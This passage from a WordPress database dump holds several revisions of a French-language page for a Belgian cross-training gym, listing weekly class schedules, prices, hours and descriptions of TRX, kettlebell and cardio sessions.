centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:42:38', '2013-07-03 16:42:38', '', 11, 'http://www.crosstrainingcenter.be/?p=173', 0, 'revision', '', 0),
(166, 1, '2013-07-03 16:29:16', '2013-07-03 16:29:16', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:29:16', '2013-07-03 16:29:16', '', 11, 'http://www.crosstrainingcenter.be/?p=166', 0, 'revision', '', 0),
(162, 1, '2013-07-03 16:17:49', '2013-07-03 16:17:49', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n[table caption=\&quot;En semaine\&quot; width=\&quot;700\&quot; colwidth=\&quot;30|50|50|50|50|50\&quot; colalign=\&quot;right|left|left|left|left|left\&quot;]\r\n,Lundi[attr class=\&quot;ttitre\&quot;],Mardi,Mercredi,Jeudi,Vendredi\r\n17h30,TRX,CARDIO,RIP-KETTLE,GLFE,TRX\r\n18h15,GLFE,TRX,CARDIO,RIP-KETTLE,GLFE\r\n19h00,RIP-KETTLE,GLFE,TRX,CARDIO,RIP-KETTLE\r\n19h45,CARDIO,RIP-KETTLE,GLFE,TRX,CARDIO\r\n[/table]\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:17:49', '2013-07-03 16:17:49', '', 11, 'http://www.crosstrainingcenter.be/?p=162', 0, 'revision', '', 0),
(171, 1, '2013-07-03 16:34:43', '2013-07-03 16:34:43', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  